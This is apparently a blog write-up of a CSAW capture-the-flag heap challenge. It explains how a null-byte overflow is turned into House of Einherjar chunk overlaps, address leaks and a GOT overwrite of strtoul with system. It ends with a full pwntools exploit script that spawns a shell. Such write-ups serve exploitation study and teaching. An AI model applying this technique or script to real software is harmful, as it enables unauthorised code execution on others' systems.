Challenges involving House of Einherjar are usually a hassle because of all the calculations involved. However, this post should serve the purpose of listing the basic requirements for an attack using the House of Einherjar.
The binary employs almost all protections except for FORTIFY and FULL RELRO. Additionally, the binary contains a bit of code which saves the original malloc and free hooks at the start of the main function. And the binary checks these values every now and then to make sure that it wasn’t corrupted. So basically, a fastbin attack to the malloc_hook is out of the question for now.
There are two structures used by the binary. One to represent a samurai and the other to represent an alien. Both these type of structures have their own respective tables in the bss which is capable of storing up to 256 objects each. The binary also contains an array which stores upto 256 names of swords with each name being at most 8 bytes in length.
The samurai structure looks like this :
struct samurai {
char *sword; // This points to an entry in the swords table in the bss
int x; // I have no idea what purpose this value serves
}
And the structure used to describe an alien looks like this :
struct alien {
char *name; // This points to a chunk that will be allocated on the heap.
int y; // Again, a complete waste of space.
}
The binary first allows us to create or remove samurai objects. Each time we create a samurai object, we are asked to enter an 8 character name for the sword which is saved in the swords table.
Once we’re done creating and removing samurai’s to our hearts content, we can then create, remove or rename aliens. Keep in mind that we can’t go back to creating samurais once we’ve reached here.
While creating an alien, the binary asks us to specify the length of the name which is then used in a call to malloc. The vulnerability also lies in the fact that the binary tries to null out the byte right after our input ends.
This can be used to create a single null byte overflow.
Another vulnerability lies in the functionality which allows us to rename an alien. Renaming only allows you to edit the first 8 bytes of the name, but before requesting a new name, it prints out the old name. This is pretty much the only place in the binary where a call is made to printf with a format string that contains a %s.
But the vulnerability in this function is that it does not verify the index that the user provides.
If we were still able to create samurai’s, we could’ve used this vulnerability. But I couldn’t find any other use for this vulnerability in the situation.
So, the only useful vulnerability we have is the single null byte overflow. But that’s all we need to pwn this binary.
The rest of this post is going to be a quite detailed description of the House of Einherjar and how to use it in this scenario. So, if you’re already familiar with it, you can scroll down and skip it.
A single null byte overflow can be leveraged to flip the PREV_INUSE bit of a chunk. In order to do that, an ideal size of the target chunk would be 0xf0. And if you look at the metadata of this chunk, the size field would contain the value 0x101. This is the ideal case because, if the size of the chunk was 0x100, the metadata would be 0x111 which when overwritten with the null byte would become 0x100. And when free tries to look for the chunk that lies immediately after this target, it won’t find it since free is looking at an offset of 0x100 instead of 0x110.
Now, with the PREV_INUSE bit set to 0, free understands that the preceding chunk is free and the current chunk (target) is to be freed. Therefore, free will try to merge the previous and the current chunks. In order to locate the preceding chunk, free uses the PREV_SIZE field of the target chunk to locate the preceding chunk. The actual code looks like
#define prev_chunk(p) ((mchunkptr) (((char *) (p)) – prev_size (p)))
Now here’s the interesting bit.
The PREV_SIZE field of a chunk is only used if the preceding chunk is free. Which also means that, the PREV_SIZE field is basically useless if the preceding chunk is not free.
Therefore malloc tries to make use of this situation by allowing in-use chunks to use the PREV_SIZE field of the next chunk. When you allocate a chunk of size 0x80, the size field of the chunk would be 0x91. However, if you allocate a chunk of size 0x88, the size field is still 0x91. In this situation, the last 8 bytes of this chunk would actually be the PREV_SIZE field of the next chunk. Keep in mind that this PREV_SIZE is useless unless the preceding chunk is free.
Now, if we were able to flip the PREV_INUSE bit of the next chunk, whatever value we store in the PREV_SIZE field ( ie the last 8 bytes of our input) would be considered and used in the macro as above.
This is where we use the null byte overflow.
So what we need is two chunks adjacent to each other. The first one which is created with a size that ends in 8 (say 0x28) and the second one which is created with a size of 0xf0 (for the 0x100 thingy).
Great, now we know that we are supposed to flip the PREV_INUSE bit so that the PREV_SIZE field will be used. The next thing is to decide what the PREV_SIZE field is going to be.
Since we are going to be merging a chunk with another chunk that was already freed, the latter will need to be unlinked from its respective linked list and the final, merged, chunk has to be added into its respective linked list. Thus, the unlink macro gets invoked here on the preceding chunk. We need to set the PREV_SIZE field so that we pass all the checks in the unlink macro. The most important would be this
FD = P->fd; \
BK = P->bk; \
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (“corrupted double-linked list”);
One way to do this would be to make sure that the preceding chunk contains two pointers that point to itself.
Since we do not know the address of the heap yet, this is not possible.
The next idea would be to just use a chunk that is already in a linked list and set the PREV_SIZE so that the prev_chunk macro points to this (already freed) chunk.
Therefore, unlinking the latter wouldn’t cause any carnage.
Great. So our idea is to create a chunk that gets freed and put into the linked list. And then set the PREV_SIZE of the target chunk so that the prev_chunk macro points to the first chunk.
Implementing this leads to a small hiccup. Whenever you create an alien, the first thing that gets allocated is the alien structure. Therefore, if you were to create an alien with a name that is 0x28 bytes long followed by an alien whose name is 0xf0 bytes long, the heap would look like this.
So, the null byte would just flip the size field of the Alien2 which doesn’t do anything useful for us.
But, there is a way to bypass this problem. Suppose we create an alien with a name that is 0x10 bytes long. Both the alien object and the name chunk would have a size field which reads 0x21.
If we free this alien first, both the chunks go into the fastbin of size 0x20. Now, allocating Alien1 and Alien2 with sizes of 0x28 and 0xf0 would result in something that looks like this.
And with that we can use the null byte to wreak all havoc using the steps described above.
So, once we free the second alien, we get a gigantic chunk that overlaps the Alien1 object and its Name1 chunk.
Now we can start to perform the tweaks needed to get some memory leaks. Once we get this gigantic chunk, it will contain pointers (BK and FD) that point to the libc. Our objective is to leak those pointers.
And in order to do that, we will request some memory which will shrink this gigantic chunk so that the new, smaller free chunk will overlap with a name chunk of some alien.
Keep in mind that in the above picture, everything from the Free chunk up until the Name2 is one gigantic free chunk that we created using the House of Einherjar. That after allocating some memory would become something like this :
So the Free chunk (or what’s left of it) overlaps the Name4 chunk. And the BK of this free chunk will be first 8 bytes of the Name4. So, renaming the Alien4 would leak out this memory.
And thus we have a libc leak.
We could’ve stopped here and gone ahead with a fastbin attack to overwrite the malloc_hook, but since there are mitigations to prevent that, we have to get more leaks.
What is required is to get a leak of the binary. One way to do that would be to change the name pointer of an alien object to point to a samurai object which contains a bss address.
But in order to do that, we need to be able to change the name pointer of an alien object somehow.
Here, we use the shrinking technique again. This time the difference is that we shrink it so that the allocated chunk overlaps with an alien object. This results in a situation as follows :
Thus we can use the rename functionality on the Alien6 to overwrite the name pointer of the Alien4.
Armed with this, we can now change the name pointer of Alien4 to get some memory leaks. Firstly, in order to get a leak of the heap, rename Alien6 (which will change the name pointer of Alien4) and point it to the libc’s main arena which will contain a heap address.
And then renaming the Alien4 prints out this heap address.
Repeat the process and change the name pointer of Alien4 to point to the samurai object and leak that out to get the binary’s base address.
Now, all that is left is to change the name pointer once again and make it point to the GOT table.
And then, change the GOT table entry of strtoul to system, send the string ‘sh;’ and wait for a shell.
from pwn import *
def create_samurai(name):
p.sendlineafter('Daimyo, nani o shitaidesu ka?', '1')
p.sendlineafter("What is my weapon's name?", name)
def kill_samurai(idx):
p.sendlineafter('Daimyo, nani o shitaidesu ka?', '2')
p.sendlineafter('Which samurai was dishonorable O lord daimyo?', str(idx))
def done():
p.sendlineafter('Daimyo, nani o shitaidesu ka?', '3')
def create_alien(name, size):
p.sendlineafter('Brood mother, what tasks do we have today.\n', '1')
p.sendlineafter('How long is my name?\n', str(size))
if len(name) < size:
name += '\n'
p.sendafter('What is my name?\n', name)
def remove_alien(idx):
p.sendlineafter('Brood mother, what tasks do we have today.\n', '2')
p.sendlineafter('Which alien is unsatisfactory, brood mother?\n', str(idx))
def rename_alien(idx, name, flag=False):
p.sendlineafter('Brood mother, what tasks do we have today.\n', '3')
p.sendlineafter('rename?\n', str(idx))
p.recvuntil('to rename ')
if flag is True:
leak = u64(p.recv(6).ljust(8, '\x00'))
if len(name) < 8:
name += '\n'
p.sendafter(' to?\n', name)
if flag is True:
return leak
if __name__ == '__main__':
if sys.argv[1] == 'remote':
p = remote('pwn.chal.csaw.io', 9004)
else:
p = process('./aliensVSsamurais', env={'LD_PRELOAD': './libc.so.6'})
libc = ELF("./libc.so.6")
e = ELF("./aliensVSsamurais")
# A samurai object contains a pointer to
# the bss. We'll leak it later.
create_samurai('blah')
# We need two objects because the swords
# table lies at an address that starts with
# a null byte. So, we leak the second one.
create_samurai('bleh')
done()
create_alien('a0', 0x10)
# We'll create a smallbin chunk which will
# be coalesced later on
create_alien('a1', 0x80)
# One chunk to leak libc
# The second to leak heap and bss
create_alien('a2', 0x20)
create_alien('a3', 0x20)
# This puts two chunks of size 0x21 into the fastbins
remove_alien(0)
# first chunk gets used here
create_alien('a4', 0x28)
# second chunk gets used here
# Now the name chunks of the two aliens are adjacent.
create_alien('a5', 0xf0)
# Prevent merging with top chunk
create_alien('a6', 0x20)
# Put the chunk into the smallbin
remove_alien(1)
# we'll allocate this right afterwards
remove_alien(4)
prev_sz = 0x90+0x30+0x50+0x50
payload = fit({0x20: p64(prev_sz)})
# Null byte overwrite happens here
create_alien(payload, 0x28)
# Trigger backward coalescing
remove_alien(5)
# Shrink the large overlapping chunk
create_alien('a8', 0x80)
create_alien('a9', 0x60)
# The chunk in the smallbin now overlaps
# with the name chunk of the third alien
libc.address = rename_alien(3, '', flag=True) - 0x3c4b78
log.success("Leaked libc @ {}".format(hex(libc.address)))
# Leak the heap from the main arena
target = libc.address + 0x3c4b78
system = libc.symbols['system']
# The name chunk of the 9th alien overlaps with
# the second alien object. So renaming the 9th
# alien changes the pointer of the second alien
rename_alien(9, p64(target))
heap = rename_alien(2, '', flag=True) - 0x1770
log.success("Leaked heap @ {}".format(hex(heap)))
# Leak the binary from the second samurai object
target = heap + 0x1450
# Same process repeated
rename_alien(9, p64(target))
e.address = rename_alien(2, '', flag=True) - 0x202708
log.success("Leaked base @ {}".format(hex(e.address)))
# Fairly self explanatory
rename_alien(9, p64(e.got['strtoul']))
rename_alien(2, p64(system))
p.sendline('sh;')
p.recvline()
p.interactive()
Just blogs 